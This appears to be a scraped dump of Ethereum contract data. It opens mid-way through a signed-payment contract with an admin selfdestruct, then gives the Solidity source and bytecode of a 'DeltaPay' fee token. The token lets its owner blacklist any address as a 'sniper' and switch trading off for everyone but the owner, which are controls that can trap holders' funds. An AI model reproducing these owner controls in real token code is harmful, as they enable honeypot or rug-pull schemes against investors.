method: PaymentMethod(_paymentMethod),
state: PaymentState.paid
});
payments[msg.sender][_paymentNumber] = ps;
numPayments[msg.sender] = numPayments[msg.sender].add(1);
// if they are opting to pay in eth run this block of code, otherwise make the payment in RTC
if (PaymentMethod(_paymentMethod) == PaymentMethod.ETH) {
require(msg.value == _chargeAmountInWei, "msg.value does not equal charge amount");
emit PaymentMade(msg.sender, _paymentNumber, _paymentMethod, _chargeAmountInWei);
HOTWALLET.transfer(msg.value);
return true;
}
emit PaymentMade(msg.sender, _paymentNumber, _paymentMethod, _chargeAmountInWei);
require(RTI.transferFrom(msg.sender, HOTWALLET, _chargeAmountInWei), "trasferFrom failed, most likely needs approval");
return true;
}
/** @notice This is a helper function used to verify whether or not the provided arguments can reconstruct the message hash
* @param _h This is the message hash which is signed, and will be reconstructed
* @param _paymentNumber This is the number of payment
* @param _paymentMethod This is the payment method (RTC, ETH) being used
* @param _chargeAmountInWei This is the amount the user is to be charged
* @param _prefixed This indicates whether the message was signed according to ERC191
*/
function verifyImages(
bytes32 _h,
uint256 _paymentNumber,
uint8 _paymentMethod,
uint256 _chargeAmountInWei,
bool _prefixed)
public
view
returns (bool)
{
require(_paymentMethod == 0 || _paymentMethod == 1, "invalid payment method");
bytes32 image;
if (_prefixed) {
bytes32 preimage = generatePreimage(_paymentNumber, _chargeAmountInWei, _paymentMethod);
image = generatePrefixedPreimage(preimage);
} else {
image = generatePreimage(_paymentNumber, _chargeAmountInWei, _paymentMethod);
}
return image == _h;
}
/** @notice This is a helper function which can be used to verify the signer of a message
* @param _h This is the message hash that is signed
* @param _v This is pulled from the signature
* @param _r This is pulled from the signature
* @param _s This is pulled from the signature
* @param _paymentNumber This is the payment number of this particular payment
* @param _paymentMethod This is the payment method (RTC, ETH) being used
* @param _chargeAmountInWei This is the amount hte user is to be charged
* @param _prefixed This indicates whether or not the message was signed using ERC191
*/
function verifySigner(
bytes32 _h,
uint8 _v,
bytes32 _r,
bytes32 _s,
uint256 _paymentNumber,
uint8 _paymentMethod,
uint256 _chargeAmountInWei,
bool _prefixed)
public
view
returns (bool)
{
require(_paymentMethod == 0 || _paymentMethod == 1, "invalid payment method");
bytes32 image;
if (_prefixed) {
bytes32 preimage = generatePreimage(_paymentNumber, _chargeAmountInWei, _paymentMethod);
image = generatePrefixedPreimage(preimage);
} else {
image = generatePreimage(_paymentNumber, _chargeAmountInWei, _paymentMethod);
}
require(image == _h, "failed to reconstruct preimages");
return ecrecover(_h, _v, _r, _s) == SIGNER;
}
/** @notice This is a helper function used to generate a non ERC191 signed message hash
* @param _paymentNumber This is the payment number of this payment
* @param _chargeAmountInWei This is the amount the user is to be charged
* @param _paymentMethod This is the payment method (RTC, ETH) being used
*/
function generatePreimage(
uint256 _paymentNumber,
uint256 _chargeAmountInWei,
uint8 _paymentMethod)
internal
view
returns (bytes32)
{
return keccak256(abi.encodePacked(msg.sender, _paymentNumber, _paymentMethod, _chargeAmountInWei));
}
/** @notice This is a helper function that prepends the ERC191 signed message prefix
* @param _preimage This is the reconstructed message hash before being prepened with the ERC191 prefix
*/
function generatePrefixedPreimage(bytes32 _preimage) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(PREFIX, _preimage));
}
/** @notice Used to destroy the contract
*/
function goodNightSweetPrince() public onlyAdmin returns (bool) {
selfdestruct(msg.sender);
return true;
}
}
|
0x60806040526004361061008d5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630858830b8114610092578063ab63385c146100c5578063b8df17f014610130578063e4e0c0301461017c578063eb87073a146101a7578063ed2d1d9e146101d0578063f851a440146101e5578063ffa1ad7414610216575b600080fd5b34801561009e57600080fd5b506100b3600160a060020a03600435166102a0565b60408051918252519081900360200190f35b3480156100d157600080fd5b506100e9600160a060020a03600435166024356102b2565b6040518085815260200184815260200183600181111561010557fe5b60ff16815260200182600181111561011957fe5b60ff16815260200194505050505060405180910390f35b34801561013c57600080fd5b5061016860043560ff60243581169060443590606435906084359060a4351660c43560e43515156102e6565b604080519115158252519081900360200190f35b61016860043560ff60243581169060443590606435906084359060a4351660c43560e435151561046a565b3480156101b357600080fd5b5061016860043560243560ff604435166064356084351515610abe565b3480156101dc57600080fd5b50610168610b6a565b3480156101f157600080fd5b506101fa610bd0565b60408051600160a060020a039092168252519081900360200190f35b34801561022257600080fd5b5061022b610bdf565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561026557818101518382015260200161024d565b50505050905090810190601f1680156102925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b60016020526000908152604090205481565b6002602081815260009384526040808520909152918352912080546001820154919092015460ff8082169161010090041684565b6000808060ff861615806102fd57508560ff166001145b1515610353576040805160e560020a62461bcd02815260206004820152601660248201527f696e76616c6964207061796d656e74206d6574686f6400000000000000000000604482015290519081900360640190fd5b831561037657610364878688610c16565b905061036f81610ce3565b9150610384565b610381878688610c16565b91505b818b146103db576040805160e560020a62461bcd02815260206004820152601f60248201527f6661696c656420746f207265636f6e73747275637420707265696d6167657300604482015290519081900360640190fd5b604080516000815260208082018084528e905260ff8d1682840152606082018c9052608082018b9052915173a80cd01dd37c29116549aa879c44c824b703828a9260019260a080820193601f1981019281900390910190855afa158015610446573d6000803e3d6000fd5b50505060206040510351600160a060020a0316149250505098975050505050505050565b600080600080610478610df4565b8860003360009081526002602081815260408084208685529091529091200154610100900460ff1660018111156104ab57fe5b14610500576040805160e560020a62461bcd02815260206004820152601460248201527f7061796d656e7420616c7265616479206d616465000000000000000000000000604482015290519081900360640190fd5b60ff8916158061051357508860ff166001145b1515610569576040805160e560020a62461bcd02815260206004820152601660248201527f696e76616c6964207061796d656e74206d6574686f6400000000000000000000604482015290519081900360640190fd5b861561058c5761057a8a898b610c16565b935061058584610ce3565b945061059a565b6105978a898b610c16565b94505b848e14610617576040805160e560020a62461bcd02815260206004820152602560248201527f7265636f6e737472756374656420707265696d61676520646f6573206e6f742060448201527f6d61746368000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b60018e8e8e8e604051600081526020016040526040518085600019166000191681526020018460ff1660ff168152602001836000191660001916815260200182600019166000191681526020019450505050506020604051602081039080840390855afa15801561068c573d6000803e3d6000fd5b5050604051601f190151935050600160a060020a03831673a80cd01dd37c29116549aa879c44c824b703828a1461070d576040805160e560020a62461bcd02815260206004820152601f60248201527f7265636f7665726564207369676e657220646f6573206e6f74206d6174636800604482015290519081900360640190fd5b6080604051908101604052808b81526020018981526020018a60ff16600181111561073457fe5b600181111561073f57fe5b8152602001600190523360009081526002602081815260408084208f8552825292839020845181559084015160018083019190915592840151918101805494965086949193909160ff191690838181111561079657fe5b0217905550606082015160028201805461ff0019166101008360018111156107ba57fe5b021790555050336000908152600160208190526040909120546107e492509063ffffffff610ddb16565b336000908152600160208190526040909120919091558960ff16600181111561080957fe5b600181111561081457fe5b141561092a57348814610897576040805160e560020a62461bcd02815260206004820152602660248201527f6d73672e76616c756520646f6573206e6f7420657175616c206368617267652060448201527f616d6f756e740000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b60408051338152602081018c905260ff8b1681830152606081018a905290517fd18793644b4cb4ec0f937f8153dc09112d762775084c0ae5b4c21a7b91f6909f9181900360800190a1604051733ec6481365c2c2b37d7b939b5854bfb7e5e83c10903480156108fc02916000818181858888f19350505050158015610920573d6000803e3d6000fd5b5060019550610aad565b60408051338152602081018c905260ff8b1681830152606081018a905290517fd18793644b4cb4ec0f937f8153dc09112d762775084c0ae5b4c21a7b91f6909f9181900360800190a1604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152733ec6481365c2c2b37d7b939b5854bfb7e5e83c106024820152604481018a9052905173ecc043b92834c1ebde65f2181b59597a6588d616916323b872dd9160648083019260209291908290030181600087803b158015610a0057600080fd5b505af1158015610a14573d6000803e3d6000fd5b505050506040513d6020811015610a2a57600080fd5b50511515610aa8576040805160e560020a62461bcd02815260206004820152602e60248201527f7472617366657246726f6d206661696c65642c206d6f7374206c696b656c792060448201527f6e6565647320617070726f76616c000000000000000000000000000000000000606482015290519081900360840190fd5b600195505b505050505098975050505050505050565b6000808060ff86161580610ad557508560ff166001145b1515610b2b576040805160e560020a62461bcd02815260206004820152601660248201527f696e76616c6964207061796d656e74206d6574686f6400000000000000000000604482015290519081900360640190fd5b8315610b4e57610b3c878688610c16565b9050610b4781610ce3565b9150610b5c565b610b59878688610c16565b91505b509590951495945050505050565b60008054600160a060020a03163314610bcd576040805160e560020a62461bcd02815260206004820152601460248201527f73656e646572206d7573742062652061646d696e000000000000000000000000604482015290519081900360640190fd5b33ff5b600054600160a060020a031681565b60408051808201909152600a81527f70726f64756374696f6e00000000000000000000000000000000000000000000602082015281565b604080516c010000000000000000000000003302602080830191909152603482018690527f010000000000000000000000000000000000000000000000000000000000000060ff85160260548301526055808301869052835180840390910181526075909201928390528151600093918291908401908083835b60208310610caf5780518252601f199092019160209182019101610c90565b5181516020939093036101000a60001901801990911692169190911790526040519201829003909120979650505050505050565b604080518082018252601c8082527f19457468657265756d205369676e6564204d6573736167653a0a33320000000060208084019182529351600094869391019182918083835b60208310610d495780518252601f199092019160209182019101610d2a565b51815160209384036101000a600019018019909216911617905292019384525060408051808503815293820190819052835193945092839250908401908083835b60208310610da95780518252601f199092019160209182019101610d8a565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912095945050505050565b600082820183811015610ded57600080fd5b9392505050565b604080516080810182526000808252602082018190529091820190815260200160009052905600a165627a7a7230582095c6b1f84f1d7dc57cc8f776cd46eabe86067a3283d964a115d7b8b8bfdd6e7f0029
|
{"success": true, "error": null, "results": {}}
| 2,412 |
0xfc7faba9acc3aca3c2711c636215a4b763029827
|
// SPDX-License-Identifier: Unlicensed
//https://t.me/deltapay
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DeltaPay is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Delta Pay";
string private constant _symbol = "DeltaPay";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 0;
uint256 private _taxFeeJeets = 7;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 7;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x7cC05edC4e402956C60bfB46db280f00705C2237);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 2 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 2e10 * 10**9;
uint256 public _maxWalletSize = 2e10 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 2e10 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 20 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address sniper) external onlyOwner {
_isSniper[sniper] = true;
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e9 * 10**9, "Maximum transaction amount must be greater than 0.5%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 1);
require(amountRefSell >= 0 && amountRefSell <= 1);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
require(amount >= 0 && amount <= 1);
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
require(amountRedisJeets >= 0 && amountRedisJeets <= 1);
require(amountTaxJeets >= 0 && amountTaxJeets <= 19);
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
require(hoursTime >= 0 && hoursTime <= 4);
timeJeets = hoursTime * 1 hours;
}
}
|
0x6080604052600436106102295760003560e01c8063715018a6116101235780639e78fb4f116100ab578063dd62ed3e1161006f578063dd62ed3e1461066f578063e0f9f6a0146106b5578063ea1644d5146106d5578063f2fde38b146106f5578063fe72c3c11461071557600080fd5b80639e78fb4f146105da5780639ec350ed146105ef5780639f1315711461060f578063a9059cbb1461062f578063c55284901461064f57600080fd5b8063881dce60116100f2578063881dce60146105355780638da5cb5b146105555780638f70ccf7146105735780638f9a55c01461059357806395d89b41146105a957600080fd5b8063715018a6146104d457806374010ece146104e9578063790ca413146105095780637d1db4a51461051f57600080fd5b806333251a0b116101b15780635d098b38116101755780635d098b38146104495780636b9cf534146104695780636d8aa8f81461047f5780636fc3eaec1461049f57806370a08231146104b457600080fd5b806333251a0b146103a757806338eea22d146103c95780633e3e9598146103e957806349bd5a5e146104095780634bf2c7c91461042957600080fd5b806318160ddd116101f857806318160ddd1461031a57806323b872dd1461033f57806327c8f8351461035f5780632fd689e314610375578063313ce5671461038b57600080fd5b806306fdde0314610235578063095ea7b3146102795780630f3a325f146102a95780631694505e146102e257600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5060408051808201909152600981526844656c74612050617960b81b60208201525b6040516102709190612102565b60405180910390f35b34801561028557600080fd5b50610299610294366004612079565b61072b565b6040519015158152602001610270565b3480156102b557600080fd5b506102996102c4366004611fc5565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102ee57600080fd5b50601954610302906001600160a01b031681565b6040516001600160a01b039091168152602001610270565b34801561032657600080fd5b50678ac7230489e800005b604051908152602001610270565b34801561034b57600080fd5b5061029961035a366004612038565b610742565b34801561036b57600080fd5b5061030261dead81565b34801561038157600080fd5b50610331601d5481565b34801561039757600080fd5b5060405160098152602001610270565b3480156103b357600080fd5b506103c76103c2366004611fc5565b6107ab565b005b3480156103d557600080fd5b506103c76103e43660046120e0565b610823565b3480156103f557600080fd5b506103c7610404366004611fc5565b610874565b34801561041557600080fd5b50601a54610302906001600160a01b031681565b34801561043557600080fd5b506103c76104443660046120c7565b6108c2565b34801561045557600080fd5b506103c7610464366004611fc5565b6108ff565b34801561047557600080fd5b50610331601e5481565b34801561048b57600080fd5b506103c761049a3660046120a5565b610959565b3480156104ab57600080fd5b506103c76109a1565b3480156104c057600080fd5b506103316104cf366004611fc5565b6109cb565b3480156104e057600080fd5b506103c76109ed565b3480156104f557600080fd5b506103c76105043660046120c7565b610a61565b34801561051557600080fd5b50610331600a5481565b34801561052b57600080fd5b50610331601b5481565b34801561054157600080fd5b506103c76105503660046120c7565b610b05565b34801561056157600080fd5b506000546001600160a01b0316610302565b34801561057f57600080fd5b506103c761058e3660046120a5565b610b81565b34801561059f57600080fd5b50610331601c5481565b3480156105b557600080fd5b5060408051808201909152600881526744656c746150617960c01b6020820152610263565b3480156105e657600080fd5b506103c7610bcd565b3480156105fb57600080fd5b506103c761060a3660046120e0565b610db2565b34801561061b57600080fd5b506103c761062a3660046120a5565b610e03565b34801561063b57600080fd5b5061029961064a366004612079565b610e4b565b34801561065b57600080fd5b506103c761066a3660046120e0565b610e58565b34801561067b57600080fd5b5061033161068a366004611fff565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106c157600080fd5b506103c76106d03660046120c7565b610ea9565b3480156106e157600080fd5b506103c76106f03660046120c7565b610ef3565b34801561070157600080fd5b506103c7610710366004611fc5565b610f31565b34801561072157600080fd5b5061033160185481565b600061073833848461101b565b5060015b92915050565b600061074f84848461113f565b6107a1843361079c856040518060600160405280602881526020016122d6602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611866565b61101b565b5060019392505050565b6000546001600160a01b031633146107de5760405162461bcd60e51b81526004016107d590612157565b60405180910390fd5b6001600160a01b03811660009081526009602052604090205460ff1615610820576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b0316331461084d5760405162461bcd60e51b81526004016107d590612157565b600182111561085b57600080fd5b600181111561086957600080fd5b600d91909155600f55565b6000546001600160a01b0316331461089e5760405162461bcd60e51b81526004016107d590612157565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000546001600160a01b031633146108ec5760405162461bcd60e51b81526004016107d590612157565b60018111156108fa57600080fd5b601355565b6017546001600160a01b0316336001600160a01b03161461091f57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109835760405162461bcd60e51b81526004016107d590612157565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b0316146109c157600080fd5b47610820816118a0565b6001600160a01b03811660009081526002602052604081205461073c906118de565b6000546001600160a01b03163314610a175760405162461bcd60e51b81526004016107d590612157565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a8b5760405162461bcd60e51b81526004016107d590612157565b674563918244f40000811015610b005760405162461bcd60e51b815260206004820152603460248201527f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060448201527362652067726561746572207468616e20302e352560601b60648201526084016107d5565b601b55565b6017546001600160a01b0316336001600160a01b031614610b2557600080fd5b610b2e306109cb565b8111158015610b3d5750600081115b610b785760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107d5565b61082081611962565b6000546001600160a01b03163314610bab5760405162461bcd60e51b81526004016107d590612157565b601a8054911515600160a01b0260ff60a01b1990921691909117905542600a55565b6000546001600160a01b03163314610bf75760405162461bcd60e51b81526004016107d590612157565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610c5757600080fd5b505afa158015610c6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8f9190611fe2565b6001600160a